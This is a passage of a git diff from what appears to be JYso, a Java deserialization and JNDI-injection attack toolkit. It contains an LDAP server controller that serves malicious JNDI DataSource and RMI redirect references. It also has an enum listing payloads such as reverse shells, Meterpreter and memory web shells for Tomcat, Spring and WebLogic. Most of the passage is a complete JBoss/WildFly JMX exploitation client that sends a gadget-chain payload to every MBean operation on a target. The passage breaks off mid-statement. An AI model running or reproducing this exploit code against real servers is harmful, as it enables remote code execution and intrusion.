sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry e = new Entry(base); + String driver = payloadType; + String JDBC_URL = params[0]; + + Reference ref = new Reference("javax.sql.DataSource", factoryType, null); + ref.add(new StringRefAddr("driverClassName", driver)); + ref.add(new StringRefAddr("url", JDBC_URL)); + ref.add(new StringRefAddr("initialSize", "1")); + + e.addAttribute("objectClass", "javaNamingReference"); + e.addAttribute("javaClassName", ref.getClassName()); + e.addAttribute("javaFactory", ref.getFactoryClassName()); + + Enumeration enumeration = ref.getAll(); + int sn = 0; + + while (enumeration.hasMoreElements()) { + StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); + e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent()); + sn++; + } + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + log.error(String.valueOf(er)); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI JDBC Reference Links Target < JDK20"); + try { + printResultJDBC2(base); + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java index 0e52d81..cb0ae3f 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java @@ -1,44 +1,44 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.Config.Config; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.fusesource.jansi.Ansi; - -@LdapMapping(uri = {"/ldap2rmi"}) -public class ldap2rmiController implements LdapController { - - private final String ip = Config.ip; - private final String rmiPort = String.valueOf(Config.rmiPort); - private String path; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - System.out.println("- Change LDAP to RMI "); - - - Entry e = new Entry(base); - e.addAttribute("javaClassName", "foo"); - e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path); - - System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset()); - - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - base = base.replace('\\', '/'); - int index = base.indexOf('/'); - if (index != -1) { - path = base.substring(index); - } - } +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.fusesource.jansi.Ansi; + +@LdapMapping(uri = {"/ldap2rmi"}) +public class ldap2rmiController implements LdapController { + + private final String ip = Config.ip; + private final String rmiPort = String.valueOf(Config.rmiPort); + private String path; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println("- Change LDAP to RMI "); + + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path); + + System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset()); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + base = base.replace('\\', '/'); + int index = base.indexOf('/'); + if (index != -1) { + path = base.substring(index); + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java index db237aa..49e4f8a 100644 --- a/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java +++ b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java @@ -1,39 +1,39 @@ -package com.qi4l.JYso.controllers.utils; - -import javax.crypto.Cipher; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import java.nio.charset.StandardCharsets; -import java.util.Base64; - -public class JNDIUtils { - private static final String ALGORITHM = "AES"; - private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; - private static final int KEY_SIZE = 16; - - public static String decrypt(String ciphertext, String key) throws Exception { - byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); - byte[] ivBytes = new byte[KEY_SIZE]; - byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; - - System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); - System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); - - byte[] keyBytes = getKeyBytes(key); - SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); - IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); - - Cipher cipher = Cipher.getInstance(TRANSFORMATION); - cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); - - byte[] decryptedBytes = cipher.doFinal(encryptedBytes); - return new String(decryptedBytes, StandardCharsets.UTF_8); - } - - private static byte[] getKeyBytes(String key) { - byte[] keyBytes = new byte[KEY_SIZE]; - byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); - System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); - return keyBytes; - } -} +package com.qi4l.JYso.controllers.utils; + +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class JNDIUtils { + private static final String ALGORITHM = "AES"; + private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; + private static final int KEY_SIZE = 16; + + public static String decrypt(String ciphertext, String key) throws Exception { + byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); + byte[] ivBytes = new byte[KEY_SIZE]; + byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; + + System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); + System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); + + byte[] keyBytes = getKeyBytes(key); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + + Cipher cipher = Cipher.getInstance(TRANSFORMATION); + cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); + + byte[] decryptedBytes = cipher.doFinal(encryptedBytes); + return new String(decryptedBytes, StandardCharsets.UTF_8); + } + + private static byte[] getKeyBytes(String key) { + byte[] keyBytes = new byte[KEY_SIZE]; + byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); + System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); + return keyBytes; + } +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java b/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java index 8ea2bb9..920fbd4 100644 --- a/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java +++ b/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java @@ -1,8 +1,8 @@ -package com.qi4l.JYso.enumtypes; - -public enum GadgetType { - base64Two, - msf, - base64, - shell, -} +package com.qi4l.JYso.enumtypes; + +public enum GadgetType { + base64Two, + msf, + base64, + shell, +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java b/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java index 58cd030..87ab24f 100644 --- a/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java +++ b/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java @@ -1,47 +1,47 @@ -package com.qi4l.JYso.enumtypes; - -public enum PayloadType { - sethttp, - dnslog, - tomcatupgrade, - command, - reverseshell, - tomcatecho, - springecho, - weblogicecho, - windowsecho, - linuxecho2, - linuxecho1, - allecho, - websphereecho, - resinecho, - tomcatfilterjmx, - tomcatfilterth, - tomcatlistenerjmx, - tomcatlistenerth, - tomcatservletjmx, - tomcatservletth, - jbossfilter, - jbossservlet, - webspherememshell, - springinterceptor, - springcontroller, - issuccess, - jettyfilter, - jettyservlet, - struts2actionms, - wsfilter, - tomcatexecutor, - meterpreter, - resinfilterth, - resinservletth, - jbossecho, - jettyecho, - cmsmsbync, - proxymsbync, - wsresin, - mstsjproxy, - mstsjser, - wsweblogic, - wswebsphereproxy, -} +package com.qi4l.JYso.enumtypes; + +public enum PayloadType { + sethttp, + dnslog, + tomcatupgrade, + command, + reverseshell, + tomcatecho, + springecho, + weblogicecho, + windowsecho, + linuxecho2, + linuxecho1, + allecho, + websphereecho, + resinecho, + tomcatfilterjmx, + tomcatfilterth, + tomcatlistenerjmx, + tomcatlistenerth, + tomcatservletjmx, + tomcatservletth, + jbossfilter, + jbossservlet, + webspherememshell, + springinterceptor, + springcontroller, + issuccess, + jettyfilter, + jettyservlet, + struts2actionms, + wsfilter, + tomcatexecutor, + meterpreter, + resinfilterth, + resinservletth, + jbossecho, + jettyecho, + cmsmsbync, + proxymsbync, + wsresin, + mstsjproxy, + mstsjser, + wsweblogic, + wswebsphereproxy, +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java b/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java index 2f255fb..f3c4977 100644 --- a/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java +++ b/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java @@ -1,7 +1,7 @@ -package com.qi4l.JYso.enumtypes; - -public enum WebsphereActionType { - list, - upload, - rce; -} +package com.qi4l.JYso.enumtypes; + +public enum WebsphereActionType { + list, + upload, + rce; +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java b/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java index 4d82997..b9ff4c6 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java @@ -1,11 +1,11 @@ -package com.qi4l.JYso.exceptions; - -public class IncorrectParamsException extends RuntimeException { - public IncorrectParamsException() { - super(); - } - - public IncorrectParamsException(String message) { - super(message); - } -} +package com.qi4l.JYso.exceptions; + +public class IncorrectParamsException extends RuntimeException { + public IncorrectParamsException() { + super(); + } + + public IncorrectParamsException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java index fef6470..d5e0e0e 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java @@ -1,11 +1,11 @@ -package com.qi4l.JYso.exceptions; - -public class UnSupportedActionTypeException extends RuntimeException { - public UnSupportedActionTypeException() { - super(); - } - - public UnSupportedActionTypeException(String message) { - super(message); - } -} +package com.qi4l.JYso.exceptions; + +public class UnSupportedActionTypeException extends RuntimeException { + public UnSupportedActionTypeException() { + super(); + } + + public UnSupportedActionTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java index b450e3d..cc40e8c 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java @@ -1,11 +1,11 @@ -package com.qi4l.JYso.exceptions; - -public class UnSupportedGadgetTypeException extends RuntimeException { - public UnSupportedGadgetTypeException() { - super(); - } - - public UnSupportedGadgetTypeException(String message) { - super(message); - } -} +package com.qi4l.JYso.exceptions; + +public class UnSupportedGadgetTypeException extends RuntimeException { + public UnSupportedGadgetTypeException() { + super(); + } + + public UnSupportedGadgetTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java index 31e1714..eaf8a5c 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java @@ -1,11 +1,11 @@ -package com.qi4l.JYso.exceptions; - -public class UnSupportedPayloadTypeException extends RuntimeException { - public UnSupportedPayloadTypeException() { - super(); - } - - public UnSupportedPayloadTypeException(String message) { - super(message); - } -} +package com.qi4l.JYso.exceptions; + +public class UnSupportedPayloadTypeException extends RuntimeException { + public UnSupportedPayloadTypeException() { + super(); + } + + public UnSupportedPayloadTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java index a8e15e3..d88e12e 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JBoss.java +++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java @@ -1,376 +1,376 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.jboss.remoting3.*; -import org.jboss.remoting3.Connection; -import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; -import org.jboss.remoting3.spi.*; -import org.jboss.remotingjmx.VersionedConnection; -import org.xnio.*; -import org.xnio.IoFuture.Status; -import org.xnio.ssl.JsseXnioSsl; -import org.xnio.ssl.XnioSsl; - -import javax.management.*; -import javax.management.remote.JMXServiceURL; -import javax.security.auth.callback.*; -import javax.security.sasl.RealmCallback; -import java.io.IOException; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.net.InetSocketAddress; -import java.net.MalformedURLException; -import java.net.SocketAddress; -import java.net.URI; -import java.security.KeyManagementException; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import java.util.HashMap; -import java.util.Map; -import java.util.Set; -import java.util.concurrent.*; -import java.util.logging.*; - - -/** - * An exploitation client for JBoss AS/Wildfly JMX - *

- * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. - *

- * This is not as readily exploitable as in other pieces of software: - * 1. they only allow authenticated access by default - * 2. they have a very strict module architecture: - * - all MBeans exported by default use classloaders that expose almost nothing useful - * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like - * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl - *

- * This client enumerates all application exported MBean method which are then called - * delivering the specified payload. - *

- * I.e. you can successfully exploit that - * - you have access to the interface - * (username/password can be specified via URL, note: despite not noticeable, - * local connections implicitly use authentication) - * - there is an application exported MBean - * - that application imports the classes required for the gadget chain - * - * @author mbechler - */ -@SuppressWarnings({ - "rawtypes" -}) -public class JBoss { - - public static void main(String[] args) throws Exception { - - if (args.length < 5) { - System.err.println("Usage " + JBoss.class.getName() + " "); - System.exit(-1); - } - - URI u = URI.create(args[0]); - - // 去除前一个参数 - String[] newArray = new String[args.length - 1]; - System.arraycopy(args, 1, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - String username = null; - String password = null; - if (u.getUserInfo() != null) { - int sep = u.getUserInfo().indexOf(':'); - if (sep >= 0) { - username = u.getUserInfo().substring(0, sep); - password = u.getUserInfo().substring(sep + 1); - } else { - System.err.println("Need :@"); - System.exit(-1); - } - } - - doRun(u, payloadObject, username, password); - } - - - private static void doRun(URI u, final Object payloadObject, String username, String password) { - ConnectionProvider instance = null; - ConnectionProviderContextImpl context = null; - ConnectionHandler ch = null; - Channel c = null; - VersionedConnection vc = null; - try { - Logger logger = LogManager.getLogManager().getLogger(""); - logger.addHandler(new ConsoleLogHandler()); - logger.setLevel(Level.INFO); - OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); - context = new ConnectionProviderContextImpl(options, "endpoint"); - instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); - String host = u.getHost(); - int port = u.getPort() > 0 ? u.getPort() : 9990; - SocketAddress destination = new InetSocketAddress(host, port); - ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); - ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); - c = getChannel(context, ch, options); - System.err.println("Connected"); - vc = makeVersionedConnection(c); - MBeanServerConnection mbc = vc.getMBeanServerConnection(null); - doExploit(payloadObject, mbc); - System.err.println("DONE"); - } catch (Throwable e) { - e.printStackTrace(System.err); - } finally { - cleanup(instance, context, ch, c, vc); - } - } - - - private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, - VersionedConnection vc) { - if (vc != null) { - vc.close(); - } - - if (c != null) { - try { - c.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - - if (ch != null) { - try { - ch.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - if (instance != null) { - try { - instance.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - - if (context != null) { - context.getXnioWorker().shutdown(); - } - } - - - private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, - ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) - throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { - XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); - FutureResult result = new FutureResult<>(); - instance.connect(null, destination, options, result, callbacks -> { - - for (Callback cb : callbacks) { - - if (cb instanceof NameCallback) { - ((NameCallback) cb).setName(username); - } else if (cb instanceof PasswordCallback) { - ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); - } else if (!(cb instanceof RealmCallback)) { - System.err.println(cb); - throw new UnsupportedCallbackException(cb); - } - } - }, xnioSsl); - - System.err.println("waiting for connection"); - IoFuture ioFuture = result.getIoFuture(); - Status s = ioFuture.await(5, TimeUnit.SECONDS); - if (s == Status.FAILED) { - System.err.println("Cannot connect"); - if (ioFuture.getException() != null) { - ioFuture.getException().printStackTrace(System.err); - } - } else if (s != Status.DONE) { - ioFuture.cancel(); - System.err.println("Connect timeout"); - System.exit(-1); - } - - return ioFuture.getInterruptibly(); - } - - private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { - Channel c; - FutureResult chResult = new FutureResult<>(context.getExecutor()); - ch.open("jmx", chResult, options); - - IoFuture cFuture = chResult.getIoFuture(); - Status s2 = cFuture.await(); - if (s2 == Status.FAILED) { - System.err.println("Cannot connect"); - if (cFuture.getException() != null) { - throw new IOException("Connect failed", cFuture.getException()); - } - } else if (s2 != Status.DONE) { - cFuture.cancel(); - throw new IOException("Connect timeout"); - } - - c = cFuture.get(); - return c; - } - - - private static VersionedConnection makeVersionedConnection(Channel c) - throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { - VersionedConnection vc; - Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); - Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); - Reflections.setAccessible(vcCreate); - vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); - return vc; - } - - - private static void doExploit(final Object payloadObject, MBeanServerConnection mbc) - throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { - Object[] params = new Object[1]; - params[0] = payloadObject; - System.err.println("Querying MBeans"); - Set testMBeans = mbc.queryMBeans(null, null); - System.err.println("Found " + testMBeans.size() + " MBeans"); - for (ObjectInstance oi : testMBeans) { - MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); - for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) { - try { - mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{}); - System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); - return; - } catch (Throwable e) { - String msg = e.getMessage(); - if (msg.startsWith("java.lang.ClassNotFoundException:")) { - int start = msg.indexOf('"'); - int stop = msg.indexOf('"', start + 1); - String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; - if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { - int c_start = msg.indexOf(':'); - int c_end = msg.indexOf(' ', c_start + 2); - String cls = msg.substring(c_start + 2, c_end); - System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")"); - } - } else { - System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); - return; - } - } - } - } - } - - - private static final class ConsoleLogHandler extends Handler { - - - @Override - public void publish(LogRecord record) { - System.err.println(record.getMessage()); - } - - - @Override - public void flush() { - - } - - - @Override - public void close() throws SecurityException { - } - } - - private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { - - private final ConnectionProviderContextImpl context; - - - public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { - this.context = context; - } - - - public void remoteClosed() { - } - - - public OpenListener getServiceOpenListener(String serviceType) { - return null; - } - - - public RegisteredService getRegisteredService(String serviceType) { - return null; - } - - - public ConnectionProviderContext getConnectionProviderContext() { - return this.context; - } - - - public Connection getConnection() { - return null; - } - } - - - private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { - - private final XnioWorker worker; - - private final ExecutorService executor; - - private final Xnio instance; - - private final Endpoint endpoint; - - - public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { - this.instance = Xnio.getInstance(); - - this.worker = this.instance.createWorker(opts); - this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); - this.executor = Executors.newCachedThreadPool(r -> { - Thread t = new Thread(r, "Worker"); - t.setDaemon(true); - return t; - }); - } - - - public XnioWorker getXnioWorker() { - return this.worker; - } - - - public Xnio getXnio() { - return this.instance; - } - - - public Executor getExecutor() { - return this.executor; - } - - - public Endpoint getEndpoint() { - return this.endpoint; - } - - - public void accept(ConnectionHandlerFactory connectionHandlerFactory) { - System.err.println("accept"); - } - - } - -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.jboss.remoting3.*; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.*; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.*; +import org.xnio.IoFuture.Status; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import javax.management.*; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.*; +import javax.security.sasl.RealmCallback; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.*; +import java.util.logging.*; + + +/** + * An exploitation client for JBoss AS/Wildfly JMX + *

+ * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. + *

+ * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + *

+ * This client enumerates all application exported MBean method which are then called + * delivering the specified payload. + *

+ * I.e. you can successfully exploit that + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitly use authentication) + * - there is an application exported MBean + * - that application imports the classes required for the gadget chain + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes" +}) +public class JBoss { + + public static void main(String[] args) throws Exception { + + if (args.length < 5) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[0]); + + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + String username = null; + String password = null; + if (u.getUserInfo() != null) { + int sep = u.getUserInfo().indexOf(':'); + if (sep >= 0) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + } + + + private static void doRun(URI u, final Object payloadObject, String username, String password) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } catch (Throwable e) { + e.printStackTrace(System.err); + } finally { + cleanup(instance, context, ch, c, vc); + } + } + + + private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc) { + if (vc != null) { + vc.close(); + } + + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (ch != null) { + try { + ch.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + if (instance != null) { + try { + instance.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (context != null) { + context.getXnioWorker().shutdown(); + } + } + + + private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult<>(); + instance.connect(null, destination, options, result, callbacks -> { + + for (Callback cb : callbacks) { + + if (cb instanceof NameCallback) { + ((NameCallback) cb).setName(username); + } else if (cb instanceof PasswordCallback) { + ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); + } else if (!(cb instanceof RealmCallback)) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if (s == Status.FAILED) { + System.err.println("Cannot connect"); + if (ioFuture.getException() != null) { + ioFuture.getException().printStackTrace(System.err); + } + } else if (s != Status.DONE) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + return ioFuture.getInterruptibly(); + } + + private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { + Channel c; + FutureResult chResult = new FutureResult<>(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if (s2 == Status.FAILED) { + System.err.println("Cannot connect"); + if (cFuture.getException() != null) { + throw new IOException("Connect failed", cFuture.getException()); + } + } else if (s2 != Status.DONE) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + private static VersionedConnection makeVersionedConnection(Channel c) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + Reflections.setAccessible(vcCreate); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + private static void doExploit(final Object payloadObject, MBeanServerConnection mbc) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[0] = 